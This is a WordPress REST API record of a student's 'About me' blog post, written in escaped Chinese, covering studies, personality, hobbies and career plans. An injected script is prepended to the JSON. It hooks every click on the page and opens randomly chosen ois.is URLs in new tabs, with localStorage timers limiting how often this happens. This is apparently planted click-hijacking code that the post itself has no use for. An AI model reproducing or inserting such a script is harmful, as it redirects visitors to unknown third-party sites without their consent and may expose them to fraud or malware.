<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":953,"date":"2023-02-01T13:38:21","date_gmt":"2023-02-01T05:38:21","guid":{"rendered":"https:\/\/edu.secda.info\/scu8123084\/?p=953"},"modified":"2023-03-08T13:45:41","modified_gmt":"2023-03-08T05:45:41","slug":"about-me","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8123084\/?p=953","title":{"rendered":"About me"},"content":{"rendered":"<p>\u3010\u500b\u4eba\u7c21\u4ecb\u3011<\/p>\n<p>\u6211\u662f\u8521\u71d5\u4ead\uff0c\u76ee\u524d\u5c31\u8b80\u6771\u5433\u5927\u5b78\u5fb7\u570b\u6587\u5316\u5b78\u7cfb\u56db\u5e74\u7d1a\uff0c\u96d9\u4e3b\u4fee\u570b\u969b\u7d93\u71df\u8207\u8cbf\u6613\u5b78\u7cfb\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\u3010\u4eba\u683c\u7279\u8cea\u3011<\/p>\n<p>\u5728\u4e0d\u719f\u7684\u74b0\u5883\u6bd4\u8f03\u5b89\u975c\u5167\u5411\uff0c\u5728\u719f\u6089\u7684\u74b0\u5883\u6bd4\u8f03\u6d3b\u6f51\u5065\u8ac7\uff0c\u505a\u4e8b\u6bd4\u8f03\u5c0f\u5fc3\u8b39\u614e\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\u3010\u8208\u8da3\u3011<\/p>\n<p>\u6211\u5e73\u5e38\u559c\u6b61\u807d\u97f3\u6a02\u3001\u770b\u5f71\u96c6\uff0c\u5047\u65e5\u6642\u559c\u6b61\u53bb\u6d77\u908a\u6216\u5c71\u4e0a\u8d70\u8d70\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\u3010\u672a\u4f86\u898f\u5283\u3011<\/p>\n<p>\u76ee\u524d\u8a08\u756b\u7562\u696d\u5f8c\u5148\u5f9e\u4e8b\u5546\u7ba1\u9818\u57df\u7684\u76f8\u95dc\u5de5\u4f5c\uff0c\u5982\u679c\u6709\u6a5f\u6703\u7684\u8a71\uff0c\u6703\u60f3\u518d\u7e7c\u7e8c\u8b80\u78a9\u58eb\u73ed\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u500b\u4eba\u7c21\u4ecb\u3011 \u6211\u662f\u8521\u71d5\u4ead\uff0c\u76ee\u524d\u5c31\u8b80\u6771\u5433\u5927\u5b78\u5fb7\u570b\u6587\u5316\u5b78\u7cfb\u56db\u5e74\u7d1a\uff0c\u96d9\u4e3b\u4fee\u570b\u969b\u7d93\u71df\u8207\u8cbf<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=\/wp\/v2\/posts\/953"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=953"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=\/wp\/v2\/posts\/953\/revisions"}],"predecessor-version":[{"id":954,"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=\/wp\/v2\/posts\/953\/revisions\/954"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=953"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=953"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8123084\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=953"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}